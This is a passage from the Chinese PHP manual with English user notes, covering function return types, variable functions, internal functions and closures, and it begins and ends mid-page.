$newref =& returns_reference();
?>

有关引用的更多信息, 请查看 引用的解释。

User Contributed Notes

php(@)genjo(DOT)fr 21-Oct-2019 08:40
Declaring a collection of objects as return type is not implemented and forbidden:
<?php
class Child{}

function getChilds(): Child[]
{
    return [(new Child()), (new Child())];
}

var_dump(getChilds());
// Returns:  Parse error: syntax error, unexpected '[', expecting '{'
?>

We have to use:
<?php
class Child{}

function getChilds(): array
{
    return [(new Child()), (new Child())];
}

var_dump(getChilds());
// Returns:
/*
array (size=2)
  0 =>
    object(Child)[168]
  1 =>
    object(Child)[398]
*/
?>

Idem for function parameter:
<?php
function setChilds(Child[] $childs){}
// Not allowed

function setChilds(array $childs){}
// Allowed
?>
Berniev 07-May-2018 02:20
Be careful when introducing return types to your code.

Only one return type can be specified (but prefacing with ? allows null).

Return values of a type different to that specified are silently converted with sometimes perplexing results. These can be tedious to find and will need rewriting, along with calling code.

Declare strict types using "declare(strict_types=1);" and an error will be generated, saving much head-scratching.
zored dot box at gmail dot com 26-Feb-2018 03:54
You may specify child return type if there is no parent:

<?php

class A {
    public function f ($a)
    {
        return 1;
    }
}

class B extends A {
    public function f ($a): int // + return type, OK
    {
        return 1;
    }
}

class C extends A {
    public function f (int $a) // + argument type, WARNING
    {
        return 1;
    }
}
?>
ryan dot jentzsch at gmail dot com 02-Jan-2017 06:40
PHP 7.1 allows for void and null return types by preceding the type declaration with a ? -- (e.g. function canReturnNullorString(): ?string)

However resource is not allowed as a return type:

<?php
function fileOpen(string $fileName, string $mode): resource
{
    $handle = fopen($fileName, $mode);
    if ($handle !== false)
    {
        return $handle;
    }
}

$resourceHandle = fileOpen("myfile.txt", "r");
?>

Errors with:
Fatal error: Uncaught TypeError: Return value of fileOpen() must be an instance of resource, resource returned.
k-gun !! mail 19-Dec-2016 10:50
With 7.1, these are possible yet;

<?php
function ret_void(): void {
    // do something but no return any value
    // if needs to break fn exec for any reason simply write return;
    if (...) {
        return; // break
        // return null; // even this NO!
    }

    $db->doSomething();
    // no need return call anymore
}

function ret_nullable() ?int {
    if (...) {
        return 123;
    } else {
        return null; // MUST!
    }
}
?>
Vidmantas Maskoliunas 17-Apr-2016 10:58
Note: the function does not have "alternative syntax" as if/endif, while/endwhile, and colon (:) here is used to define returning type and not to mark where the block statement begins.
ryan dot jentzsch at gmail dot com 30-Aug-2015 06:12
PHP 7 return types if specified can not return a null.
For example:
<?php
declare(strict_types=1);

function add2ints(int $x, int $y):int
{
    $z = $x + $y;
    if ($z===0)
    {
        return null;
    }
    return $z;
}
$a = add2ints(3, 4);
echo is_null($a) ? 'Null' : $a;
$b = add2ints(-2, 2);
echo is_null($b) ? 'Null' : $b;
exit();

Output:
7
Process finished with exit code 139
rstaveley at seseit dot com 29-Aug-2010 01:26
Developers with a C background may expect pass by reference semantics for arrays. It may be surprising that  pass by value is used for arrays just like scalars. Objects are implicitly passed by reference.

<?php

# (1) Objects are always passed by reference and returned by reference

class Obj {
    public $x;
}

function obj_inc_x($obj) {
    $obj->x++;
    return $obj;
}

$obj = new Obj();
$obj->x = 1;

$obj2 = obj_inc_x($obj);
obj_inc_x($obj2);

print $obj->x . ', ' . $obj2->x . "\n";

# (2) Scalars are not passed by reference or returned as such

function scalar_inc_x($x) {
    $x++;
    return $x;
}

$x = 1;

$x2 = scalar_inc_x($x);
scalar_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (3) You have to force pass by reference and return by reference on scalars

function &scalar_ref_inc_x(&$x) {
    $x++;
    return $x;
}

$x = 1;

$x2 =& scalar_ref_inc_x($x);    # Need reference here as well as the function sig
scalar_ref_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (4) Arrays use pass by value sematics just like scalars

function array_inc_x($array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 = array_inc_x($array);
array_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";

# (5) You have to force pass by reference and return by reference on arrays

function &array_ref_inc_x(&$array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 =& array_ref_inc_x($array); # Need reference here as well as the function sig
array_ref_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";
bgalloway at citycarshare dot org 27-Mar-2008 06:27
Be careful about using "do this thing or die()" logic in your return lines.  It doesn't work as you'd expect:

<?php
function myfunc1() {
    return('thingy' or die('otherthingy'));
}
function myfunc2() {
    return 'thingy' or die('otherthingy');
}
function myfunc3() {
    return('thingy') or die('otherthingy');
}
function myfunc4() {
    return 'thingy' or 'otherthingy';
}
function myfunc5() {
    $x = 'thingy' or 'otherthingy'; return $x;
}
echo myfunc1(). "\n". myfunc2(). "\n". myfunc3(). "\n". myfunc4(). "\n". myfunc5(). "\n";
?>

Only myfunc5() returns 'thingy' - the rest return 1.
nick at itomic.com 04-Aug-2003 12:56
Functions which return references, may return a NULL value. This is inconsistent with the fact that function parameters passed by reference can't be passed as NULL (or in fact anything which isnt a variable).

i.e.

<?php

function &testRet()
{
    return NULL;
}

if (testRet() === NULL)
{
    echo "NULL";
}
?>

parses fine and echoes NULL


可变函数

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号，PHP 将寻找与变量的值同名的函数，并且尝试执行它。可变函数可以用来实现包括回调函数，函数表在内的一些用途。

可变函数不能用于例如 echo，print，unset()，isset()，empty()，include，require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

Example #1 可变函数示例

<?php
function foo() {
echo "In foo()<br />\n";
}

function bar($arg = '')
{
echo "In bar(); argument was '$arg'.<br />\n";
}

// 使用 echo 的包装函数
function echoit($string)
{
echo $string;
}

$func = 'foo';
$func(); // 调用 foo()

$func = 'bar';
$func('test'); // 调用 bar()

$func = 'echoit';
$func('test'); // 调用 echoit()
?>

也可以用可变函数的语法来调用一个对象的方法。

Example #2 可变方法范例

<?php
class Foo
{
function Variable()
{
$name = 'Bar';
$this->$name(); // 调用 Bar() 方法
}

function Bar()
{
echo "This is Bar";
}
}

$foo = new Foo();
$funcname = "Variable";
$foo->$funcname(); // 调用 $foo->Variable()

?>

当调用静态方法时，函数调用要比静态属性优先：

Example #3 Variable 方法和静态属性示例

<?php
class Foo
{
static $variable = 'static property';
static function Variable()
{
echo 'Method Variable called';
}
}

echo Foo::$variable; // 打印 'static property'。在该作用域中需要 $variable。
$variable = "Variable";
Foo::$variable(); // 在该作用域中读取 $variable 调用 $foo->Variable()。

?>

Example #4 复杂调用

<?php
class Foo
{
static function bar()
{
echo "bar\n";
}
function baz()
{
echo "baz\n";
}
}

$func = array("Foo", "bar");
$func(); // 打印 "bar"
$func = array(new Foo, "baz");
$func(); // 打印 "baz"
$func = "Foo::bar";
$func(); // 打印 "bar"
?>

参见

  • is_callable()
  • call_user_func()
  • function_exists()
  • 可变变量

User Contributed Notes

anisgazig at gmail dot com 19-Feb-2022 06:38
<?php
static bar method works with statically or non statically wherese non static method could not work statically

//non static method
class myCls{
    public function  foo(){
        echo "foo function";
    }
    static public function bar(){
        echo "static bar function";

    }
}

$a = new myCls;
$myf = "foo";
$a->$myf();//works
echo "\n";

$a = [new myCls,"foo"];//works
$a();
echo "\n";
//$a = ["myCls","foo"];//fatal error
//$a();
echo "\n";
//$a = "myCls::foo";//fatal error
//$a();
echo "\n";

//static method called with statically or nonstatically
$b = new myCls;
$myf = "bar";
$b->$myf();//works
echo "\n";

$b = [new myCls,"bar"];//works
$b();
echo "\n";

$b = "myCls::bar";//works
$b();
echo "\n";

$b = ["myCls","bar"];//works
$b();
echo "\n";
Anonymous 23-May-2020 05:26
If you are here looking for a function reference, this is NOT how to do it:

<?php
 function func1(){ echo "hell0 1";}
 $choice = func1; // no quotes
?>

It works, but $choice is not what you might think, a reference to a function. It is simply the name of the function as a string, written without (!) quotes.

It's  the same as
<?php
 $choice = "func1"; // with quotes
?>

You can do echo gettype($choice) to confirm.

So calling
<?php
 $choice()
?>
is a variable-function for both cases, calling it by its name, not by reference.

Go via an assigned anonymous function to get a reference to the function:
<?php
 $func1 = function(){ echo "hell0 1";}
 $func1 = function(){ echo "hell0 2";}
?>

Now you can pass around the function like a first class object
<?php
 $choice = $func1;
?>
or
<?php
 $choice = $func2;
?>
and call it
<?php
 $choice();
?>

If you want to pass around a class method, use the "Complex callables" from the manual, above. It's a call by name (not a reference), but since you can include the object you can still get the flexibility you want:

<?php
 class C {
      function k(){ echo "inside k";}
      function j(){ echo "inside j"; return  array($this,"k");}};
?>

You can use $this as the object in the first element of the array.
<?php
 $c = new C;
 $c->k();
 inside k

 $func = $c->j();
 inside j
?>
And now, le moment supreme:
<?php
 $func();
 inside k
?>
rnealxp at yahoo dot com 16-May-2020 01:17
<?php
/*
You might have found yourself at this php variable functions page because, like me, you wanted to pass functions
around like objects to client objects as you can in JavaScript. The issue I ran into was although
I could call a function using a variable like this " $v(); "...I could not do it like this " $obj->p() " where
'p' is a property containing the name of the method to call. Did not want to save my property off to a variable prior
to making my call: " $v = $obj->p; $v(); "; even if one finds a way, the below applies...

I credit this expanded work to this person: tatarynowicz at gmail dot com;
without them I would not have gotten here.
*/
interface iface_dynamic_members{
    //Use of this interface enables type-hinting for objects that implement it.
    public function __call($name, $args);
    public function __set($name, $value);
    public function quietly_fail():bool;
}
trait trait_has_dynamic_members{
    //Implementing these magic methods in the form of a trait, frees the client object up
    //so it can still inherit from a parent-class.
    public function __call($name, $args) {
        if (is_callable($this->$name)) {
            return call_user_func($this->$name, $args);
        }
        else {
            //Your dynamic-membered object can declare itself as willing to ignore non-existent method calls or not.
            if($this->quietly_fail()===true){
                echo 'Method does not exist, but I do not mind.';
            }else{
                echo 'Method does not exist, I consider this a bug.';
            }
        }
    }
    public function __set($name, $value) {
        $this->$name = is_callable($value) ? $value->bindTo($this, $this): $value; //Assignment using ternary operator.
    }
}
abstract class MBR_ATTR{
    //A class full of attributes that objects can take on; abstract since not to be instantiated (If I could make it "final" as well, I would).
    public static function is_a_walker(iface_dynamic_members $obj, ?string $walker_type='normal pace'){
        $obj->walker_type = $walker_type;
        $obj->walker_walk = function() {
            return "I am walking {$this->walker_type}.";
        };
    }
    public static function is_a_runner(iface_dynamic_members $obj, string $runner_type){
        $obj->runner_type = $runner_type;
        $obj->runner_run = function() {
            return "I am running {$this->runner_type}.";
        };
        self::is_a_walker($obj); //If can run, also can walk.
    }
}
class cls_partly_dynamic implements iface_dynamic_members{
    use trait_has_dynamic_members;
    public function quietly_fail():bool{
        return true;
    }
}
// Report all errors except E_NOTICE
error_reporting(E_ALL & ~E_NOTICE); //Enable all error-reporting except notices.
//----
//config runner object...
$obj_runner = new cls_partly_dynamic();
MBR_ATTR::is_a_runner($obj_runner, 'fast');
$obj_runner->runner_type = 'a bit slow';
//----
//config walker object...
$obj_walker = new cls_partly_dynamic();
MBR_ATTR::is_a_walker($obj_walker, 'slow');
$obj_walker->walker_type = 'super fast';
//----
//Do stuff...
echo 'walker in action...' . '<br>';
echo $obj_walker->walker_walk() . '<br>';
echo '<br>';
echo 'runner in action...' . '<br>';
echo $obj_runner->walker_walk() . '<br>';
echo $obj_runner->runner_run() . '<br>';
echo $obj_runner->xxx() . '<br>'; //Try calling a non-existent method.
//I would agree that the above approach/technique is not always ideal, particulary due to the loss of code-completion in your
//IDE of choice; I would tend to use this approach for dynamic-programming in response to the user dictating processing steps via a UI.
?>
niemans at pbsolo dot nl 19-Mar-2019 11:28
While the documentation suggests that the use of a constant is similar to the use of a variable, there is an exception regarding variable functions. You cannot use a constant as the function name to call a variable function.

const DEBUGME ='func';
function func($s) { echo $s. "\n"; }

DEBUGME('abc');  // results in a syntax error

$call = DEBUGME;
$call('abc');          // does the job

But you can use a constant as an argument to a function. Here's a simple workaround when you need to call a variable constant function:

function dynamic($what, $with)
   {
     $what($with);
   }
dynamic(DEBUGME, 'abc');

This makes sense to me to hide API's and/or long (complicated) static calls.
Enjoy!
josh at joshstroup dot xyz 21-Apr-2016 05:58
A small, but helpful note. If you are trying to call a static function from a different namespace, you must use the fully qualified namespace, even if they have the same top level namespace(s). For example if you have the following class to call:

<?php
namespace Project\TestClass;
class Test {
    static function funcToCall() {
        return "test";
    }
}
?>
You must call it as:
<?php
namespace Project\OtherTestClass;
class OtherTest {
    static function callOtherFunc() {
        $func = '\Project\TestClass::funcToCall';
        $func();
    }
}
?>
and not:
<?php
class OtherTest {
    static function callOtherFunc() {
        $func = 'TestClass::funcToCall';
        $func();
    }
}
?>
Anonymous 27-Jun-2011 11:20
$ wget http://www.php.net/get/php_manual_en.tar.gz/from/a/mirror
$ grep -l "\$\.\.\." php-chunked-xhtml/function.*.html

List of functions that accept variable arguments.
<?php
array_diff_assoc()
array_diff_key()
array_diff_uassoc()
array()
array_intersect_ukey()
array_map()
array_merge()
array_merge_recursive()
array_multisort()
array_push()
array_replace()
array_replace_recursive()
array_unshift()
call_user_func()
call_user_method()
compact()
dba_open()
dba_popen()
echo()
forward_static_call()
fprintf()
fscanf()
httprequestpool_construct()
ibase_execute()
ibase_set_event_handler()
ibase_wait_event()
isset()
list()
maxdb_stmt_bind_param()
maxdb_stmt_bind_result()
mb_convert_variables()
newt_checkbox_tree_add_item()
newt_grid_h_close_stacked()
newt_grid_h_stacked()
newt_grid_v_close_stacked()
newt_grid_v_stacked()
newt_win_choice()
newt_win_entries()
newt_win_menu()
newt_win_message()
newt_win_ternary()
pack()
printf()
register_shutdown_function()
register_tick_function()
session_register()
setlocale()
sprintf()
sscanf()
unset()
var_dump()
w32api_deftype()
w32api_init_dtype()
w32api_invoke_function()
wddx_add_vars()
wddx_serialize_vars()
?>


内部（内置）函数

PHP 有很多标准的函数和结构。还有一些函数需要和特定地 PHP 扩展模块一起编译，否则在使用它们的时候就会得到一个致命的"未定义函数"错误。例如，要使用 image 函数中的 imagecreatetruecolor()，需要在编译 PHP 的时候加上 GD 的支持。或者，要使用 mysqli_connect() 函数，就需要在编译 PHP 的时候加上 MySQLi 支持。有很多核心函数已包含在每个版本的 PHP 中如字符串和变量函数。调用 phpinfo() 或者 get_loaded_extensions() 可以得知 PHP 加载了那些扩展库。同时还应该注意，很多扩展库默认就是有效的。PHP 手册按照不同的扩展库组织了它们的文档。请参阅配置，安装以及各自的扩展库章节以获取有关如何设置 PHP 的信息。

手册中如何阅读函数原型讲解了如何阅读和理解一个函数的原型。确认一个函数将返回什么，或者函数是否直接作用于传递的参数是很重要的。例如，str_replace() 函数将返回修改过的字符串，而 usort() 却直接作用于传递的参数变量本身。手册中，每一个函数的页面中都有关于函数参数、行为改变、成功与否的返回值以及使用条件等信息。了解这些重要的（常常是细微的）差别是编写正确的 PHP 代码的关键。

Note: 如果传递给函数的参数类型与实际的类型不一致，例如将一个 array 传递给一个 string 类型的变量，那么函数的返回值是不确定的。在这种情况下，通常函数会返回 null。但这仅仅是一个惯例，并不一定如此。从 PHP 8.0.0 起，这种情况下应抛出 TypeError 异常。

Note:

在强制模式下内置函数的标量类型默认可以为 null。自 PHP 8.1.0 起，弃用传递 null 到声明为非 null 的内部函数参数，并在强制类型下发出弃用通知，与用户定义函数的行为保持一致，其中标量类型需要显式标记为可以为 null。

例如，strlen() 函数接受参数 $string 为非 null 的 string。由于历史原因，在强制模式下 PHP 允许此参数接受 null，并将参数隐式转化为 string，从而产生 "" 值。相比之下，严格模式会抛出 TypeError。

<?php
var_dump(strlen(null));
// "Deprecated: Passing null to parameter #1 ($string) of type string is deprecated" as of PHP 8.1.0
// int(0)

var_dump(str_contains("foobar", null));
// "Deprecated: Passing null to parameter #2 ($needle) of type string is deprecated" as of PHP 8.1.0
// bool(true)
?>

参见

  • function_exists()
  • 函数参考
  • get_extension_funcs()
  • dl()

User Contributed Notes

There are no user contributed notes for this page.


匿名函数

匿名函数（Anonymous functions），也叫闭包函数（closures），允许 临时创建一个没有指定名称的函数。最经常用作回调函数 callable参数的值。当然，也有其它应用的情况。

匿名函数目前是通过 Closure 类来实现的。

Example #1 匿名函数示例

<?php
echo preg_replace_callback('~-([a-z])~', function ($match) {
return strtoupper($match[1]);
}, 'hello-world');
// 输出 helloWorld
?>

闭包函数也可以作为变量的值来使用。PHP 会自动把此种表达式转换成内置类 Closure 的对象实例。把一个 closure 对象赋值给一个变量的方式与普通变量赋值的语法是一样的，最后也要加上分号：

Example #2 匿名函数变量赋值示例

<?php
$greet = function($name) {
printf("Hello %s\r\n", $name);
};

$greet('World');
$greet('PHP');
?>

闭包可以从父作用域中继承变量。 任何此类变量都应该用 use 语言结构传递进去。 PHP 7.1 起，不能传入此类变量： superglobals、 $this 或者和参数重名。 返回类型声明必须放在 use 子句的 后面 。

Example #3 从父作用域继承变量

<?php
$message = 'hello';

// 没有 "use"
$example = function () {
var_dump($message);
};
$example();

// 继承 $message
$example = function () use ($message) {
var_dump($message);
};
$example();

// 当函数被定义而不是被调用的时候继承变量的值
$message = 'world';
$example();

// 重置 message
$message = 'hello';

// 通过引用继承
$example = function () use (&$message) {
var_dump($message);
};
$example();

// 父级作用域改变的值反映在函数调用中
$message = 'world';
$example();

// 闭包函数也可以接受常规参数
$example = function ($arg) use ($message) {
var_dump($arg . ' ' . $message);
};
$example("hello");

// 返回类型在 use 子句的后面
$example = function () use ($message): string {
return "hello $message";
};
var_dump($example());
?>

以上示例的输出类似于：

Notice: Undefined variable: message in /example.php on line 6
NULL
string(5) "hello"
string(5) "hello"
string(5) "hello"
string(5) "world"
string(11) "hello world"
string(11) "hello world"

从 PHP 8.0.0 开始，作用域继承的变量列表可能包含一个尾部的逗号，这个逗号将被忽略。

这些变量都必须在函数或类的头部声明。 从父作用域中继承变量与使用全局变量是不同的。全局变量存在于一个全局的范围，无论当前在执行的是哪个函数。而 闭包的父作用域是定义该闭包的函数（不一定是调用它的函数）。示例如下：

Example #4 Closures 和作用域

<?php
// 一个基本的购物车，包括一些已经添加的商品和每种商品的数量。
// 其中有一个方法用来计算购物车中所有商品的总价格，该方法使
// 用了一个 closure 作为回调函数。
class Cart
{
const PRICE_BUTTER = 1.00;
const PRICE_MILK = 3.00;
const PRICE_EGGS = 6.95;

protected $products = array();

public function add($product, $quantity)
{
$this->products[$product] = $quantity;
}

public function getQuantity($product)
{
return isset($this->products[$product]) ? $this->products[$product] :
FALSE;
}

public function getTotal($tax)
{
$total = 0.00;

$callback =
function ($quantity, $product) use ($tax, &$total)
{
$pricePerItem = constant(__CLASS__ . "::PRICE_" .
strtoupper($product));
$total += ($pricePerItem * $quantity) * ($tax + 1.0);
};

array_walk($this->products, $callback);
return round($total, 2);
}
}

$my_cart = new Cart;

// 往购物车里添加条目
$my_cart->add('butter', 1);
$my_cart->add('milk', 3);
$my_cart->add('eggs', 6);

// 打出出总价格，其中有 5% 的销售税.
print $my_cart->getTotal(0.05) . "\n";
// 最后结果是 54.29
?>

Example #5 自动绑定 $this

<?php

class Test
{
public function testing()
{
return function() {
var_dump($this);
};
}
}

$object = new Test;
$function = $object->testing();
$function();

?>

以上示例会输出：

object(Test)#1 (0) {
}

当在类的上下文中声明时，当前的类会自动与之绑定，使得 $this 在函数的作用域中可用。如果不需要当前类的自动绑定，可以使用 静态匿名函数 替代。

静态匿名函数

匿名函数允许被定义为静态化。这样可以防止当前类自动绑定到它们身上，对象在运行时也可能不会被绑定到它们上面。

Example #6 试图在静态匿名函数中使用 $this

<?php

class Foo
{
function __construct()
{
$func = static function() {
var_dump($this);
};
$func();
}
};
new Foo();

?>

以上示例会输出：

Notice: Undefined variable: this in %s on line %d
NULL

Example #7 试图将对象绑定到静态匿名函数

<?php

$func = static function() {
// function body
};
$func = $func->bindTo(new stdClass);
$func();

?>

以上示例会输出：

Warning: Cannot bind an instance to a static closure in %s on line %d

更新日志

版本 | 说明
7.1.0 | 匿名函数不能用 use 包含 superglobals 、$this 、 跟参数同名的变量。

注释

Note: 可以在闭包中使用 func_num_args()，func_get_arg() 和 func_get_args()。

User Contributed Notes

Hayley Watson 13-Oct-2023 11:46
"If this automatic binding of the current class is not wanted, then static anonymous functions may be used instead. "

The main reason why you would not want automatic binding is that as long as the Closure object created for the anonymous function exists, it retains a reference to the object that spawned it, preventing the object from being destroyed, even if the object is no longer alive anywhere else in the program, and even if the function itself doesn't use $this.

<?php

class Foo
{
    public function __construct(private string $id)
    {
        echo "Creating Foo " . $this->id, "\n";
    }
    public function gimme_function()
    {
        return function(){};
    }
    public function gimme_static_function()
    {
        return static function(){};
    }
    public function __destruct()
    {
        echo "Destroying Foo " . $this->id, "\n";
    }
}

echo "An object is destroyed as soon as its last reference is removed.\n";
$t = new Foo('Alice');
$t = new Foo('Bob'); // Causes Alice to be destroyed.
// Now destroy Bob.
unset($t);
echo "---\n";

echo "A non-static anonymous function retains a reference to the object which created it.\n";
$u = new Foo('Carol');
$ufn = $u->gimme_function();
$u = new Foo('Daisy'); // Does not cause Carol to be destroyed,
                       // because there is still a reference to
                       // it in the function held by $ufn.
unset($u); // Causes Daisy to be destroyed.
echo "---\n"; // Note that Carol hasn't been destroyed yet.

echo "A static anonymous function does not retain a reference to the object which created it.\n";
$v = new Foo('Eve');
$vfn = $v->gimme_static_function();
$v = new Foo('Farid'); // The function held by $vfn does not
                       // hold a reference to Eve, so Eve does get destroyed here.
unset($v); // Destroy Farid
echo "---\n";
// And then the program finishes, discarding any references to any objects still alive
// (specifically, Carol).
?>

Because $ufn survived to the end of the end of the program, Carol survived as well. $vfn also survived to the end of the program, but the function it contained was declared static, so didn't retain a reference to Eve.

Anonymous functions that retain references to otherwise-dead objects are therefore a potential source of memory leaks. If the function has no use for the object that spawned it, declaring it static prevents it from causing the object to outlive its usefulness.
jake dot tunaley at berkeleyit dot com 07-Jan-2019 05:04
Beware of using $this in anonymous functions assigned to a static variable.

<?php
class Foo {
    public function bar() {
        static $anonymous = null;
        if ($anonymous === null) {
            // Expression is not allowed as static initializer workaround
            $anonymous = function () {
                return $this;
            };
        }
        return $anonymous();
    }
}

$a = new Foo();
$b = new Foo();
var_dump($a->bar() === $a); // True
var_dump($b->bar() === $a); // Also true
?>

In a static anonymous function, $this will be the value of whatever object instance that method was called on first.

To get the behaviour you're probably expecting, you need to pass the $this context into the function.

<?php
class Foo {
    public function bar() {
        static $anonymous = null;
        if ($anonymous === null) {
            // Expression is not allowed as static initializer workaround
            $anonymous = function (self $thisObj) {
                return $thisObj;
            };
        }
        return $anonymous($this);
    }
}

$a = new Foo();
$b = new Foo();
var_dump($a->bar() === $a); // True
var_dump($b->bar() === $a); // False
?>
dexen dot devries at gmail dot com 07-Jun-2018 09:54
Every instance of a lambda has own instance of static variables. This provides for great event handlers, accumulators, etc., etc.

Creating new lambda with function() { ... }; expression creates new instance of its static variables. Assigning a lambda to a variable does not create a new instance. A lambda is object of class Closure, and assigning lambdas to variables has the same semantics as assigning object instance to variables.

Example script: $a and $b have separate instances of static variables, thus produce different output. However $b and $c share their instance of static variables - because $c is refers to the same object of class Closure as $b - thus produce the same output.

#!/usr/bin/env php
<?php

function generate_lambda() : Closure
{
        # creates new instance of lambda
    return function($v = null) {
        static $stored;
        if ($v !== null)
            $stored = $v;
        return $stored;
    };
}

$a = generate_lambda();  # creates new instance of statics
$b = generate_lambda();  # creates new instance of statics
$c = $b;                                 # uses the same instance of statics as $b

$a('test AAA');
$b('test BBB');
$c('test CCC');  # this overwrites content held by $b, because it refers to the same object

var_dump([ $a(), $b(), $c() ]);
?>

This test script outputs:
array(3) {
  [0]=>
  string(8) "test AAA"
  [1]=>
  string(8) "test CCC"
  [2]=>
  string(8) "test CCC"
}
toonitw at gmail dot com 27-Dec-2017 05:40
As of PHP 7.0, you can use IIFE(Immediately-invoked function expression) by wrapping your anonymous function with ().

<?php
$type = 'number';
var_dump( ...( function() use ($type) {
    if ($type=='number') return [1,2,3];
    else if ($type=='alphabet') return ['a','b','c'];
} )() );
?>
ayon at hyurl dot com 29-Apr-2017 05:35
One way to call a anonymous function recursively is to use the USE keyword and pass a reference to the function itself:

<?php
$count = 1;
$add = function($count) use (&$add){
    $count += 1;
    if($count < 10) $count = $add($count); //recursive calling
    return $count;
};
echo $add($count); //Will output 10 as expected
?>
john at binkmail dot com 07-Feb-2017 07:36
PERFORMANCE BENCHMARK 2017!

I decided to compare a single, saved closure against constantly creating the same anonymous closure on every loop iteration. And I tried 10 million loop iterations, in PHP 7.0.14 from Dec 2016. Result:

a single saved closure kept in a variable and re-used (10000000 iterations): 1.3874590396881 seconds

new anonymous closure created each time (10000000 iterations): 2.8460240364075 seconds

In other words, over the course of 10 million iterations, creating the closure again during every iteration only added a total of "1.459 seconds" to the runtime. So that means that every creation of a new anonymous closure takes about 146 nanoseconds on my 7 years old dual-core laptop. I guess PHP keeps a cached "template" for the anonymous function and therefore doesn't need much time to create a new instance of the closure!

So you do NOT have to worry about constantly re-creating your anonymous closures over and over again in tight loops! At least not as of PHP 7! There is absolutely NO need to save an instance in a variable and re-use it. And not being restricted by that is a great thing, because it means you can feel free to use anonymous functions exactly where they matter, as opposed to defining them somewhere else in the code. :-)
erolmon dot kskn at gmail dot com 19-Jun-2015 09:48
<?php
    /*
    (string) $name Name of the function that you will add to class.
    Usage : $Foo->add(function(){},$name);
    This will add a public function in Foo Class.
    */
    class Foo
    {
        public function add($func,$name)
        {
            $this->{$name} = $func;
        }
        public function __call($func,$arguments){
            call_user_func_array($this->{$func}, $arguments);
        }
    }
    $Foo = new Foo();
    $Foo->add(function(){
        echo "Hello World";
    },"helloWorldFunction");
    $Foo->add(function($parameterone){
        echo $parameterone;
    },"exampleFunction");
    $Foo->helloWorldFunction(); /*Output : Hello World*/
    $Foo->exampleFunction("Hello PHP"); /*Output : Hello PHP*/
?>
mail at mkharitonov dot net 20-Feb-2014 11:20
Some comparisons of PHP and JavaScript closures.

=== Example 1 (passing by value) ===
PHP code:
<?php
$aaa = 111;
$func = function() use($aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "111"
?>

Similar JavaScript code:
<script type="text/javascript">
var aaa = 111;
var func = (function(aaa){ return function(){ alert(aaa); } })(aaa);
aaa = 222;
func(); // Outputs "111"
</script>

Be careful, following code is not similar to previous code:
<script type="text/javascript">
var aaa = 111;
var bbb = aaa;
var func = function(){ alert(bbb); };
aaa = 222;
func(); // Outputs "111", but only while "bbb" is not changed after function declaration

// And this technique is not working in loops:
var functions = [];
for (var i = 0; i < 2; i++)
{
    var i2 = i;
    functions.push(function(){ alert(i2); });
}
functions[0](); // Outputs "1", wrong!
functions[1](); // Outputs "1", ok
</script>

=== Example 2 (passing by reference) ===
PHP code:
<?php
$aaa = 111;
$func = function() use(&$aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "222"
?>

Similar JavaScript code:
<script type="text/javascript">
var aaa = 111;
var func = function(){ alert(aaa); };
aaa = 222; // Outputs "222"
func();
</script>
derkontrollfreak+9hy5l at gmail dot com 09-Jan-2014 04:41
Beware that since PHP 5.4 registering a Closure as an object property that has been instantiated in the same object scope will create a circular reference which prevents immediate object destruction:
<?php

class Test
{
    private $closure;

    public function __construct()
    {
        $this->closure = function () {
        };
    }

    public function __destruct()
    {
        echo "destructed\n";
    }
}

new Test;
echo "finished\n";

/*
 * Result in PHP 5.3:
 * ------------------
 * destructed
 * finished
 *
 * Result since PHP 5.4:
 * ---------------------
 * finished
 * destructed
 */

?>

To circumvent this, you can instantiate the Closure in a static method:
<?php

public function __construct()
{
    $this->closure = self::createClosure();
}

public static function createClosure()
{
    return function () {
    };
}

?>
cHao 13-Dec-2013 11:42
In case you were wondering (cause i was), anonymous functions can return references just like named functions can.  Simply use the & the same way you would for a named function...right after the `function` keyword (and right before the nonexistent name).

<?php
    $value = 0;
    $fn = function &() use (&$value) { return $value; };

    $x =& $fn();
    var_dump($x, $value);        // 'int(0)', 'int(0)'
    ++$x;
    var_dump($x, $value);        // 'int(1)', 'int(1)'
mike at borft dot student dot utwente dot nl 24-Jan-2012 02:46
Since it is possible to assign closures to class variables, it is a shame it is not possible to call them directly. ie. the following does not work:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }
}

$f = new foo();

$f->test();
?>

However, it is possible using the magic __call function:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }

  public function __call($method, $args){
    if ( $this->{$method} instanceof Closure ) {
      return call_user_func_array($this->{$method},$args);
    } else {
      return parent::__call($method, $args);
    }
  }
}
$f = new foo();
$f->test();
?>
it
Hope it helps someone ;)
simon at generalflows dot com 05-Aug-2011 08:23
<?php

/*
 * An example showing how to use closures to implement a Python-like decorator
 * pattern.
 *
 * My goal was that you should be able to decorate a function with any
 * other function, then call the decorated function directly:
 *
 * Define function:         $foo = function($a, $b, $c, ...) {...}
 * Define decorator:        $decorator = function($func) {...}
 * Decorate it:             $foo = $decorator($foo)
 * Call it:                 $foo($a, $b, $c, ...)
 *
 * This example show an authentication decorator for a service, using a simple
 * mock session and mock service.
 */

session_start();

/*
 * Define an example decorator. A decorator function should take the form:
 * $decorator = function($func) {
 *     return function() use $func) {
 *         // Do something, then call the decorated function when needed:
 *         $args = func_get_args($func);
 *         call_user_func_array($func, $args);
 *         // Do something else.
 *     };
 * };
 */
$authorise = function($func) {
    return function() use ($func) {
        if ($_SESSION['is_authorised'] == true) {
            $args = func_get_args($func);
            call_user_func_array($func, $args);
        }
        else {
            echo "Access Denied";
        }
    };
};

/*
 * Define a function to be decorated, in this example a mock service that
 * need to be authorised.
 */
$service = function($foo) {
    echo "Service returns: $foo";
};

/*
 * Decorate it. Ensure you replace the origin function reference with the
 * decorated function; ie just $authorise($service) won't work, so do
 * $service = $authorise($service)
 */
$service = $authorise($service);

/*
 * Establish mock authorisation, call the service; should get
 * 'Service returns: test 1'.
 */
$_SESSION['is_authorised'] = true;
$service('test 1');

/*
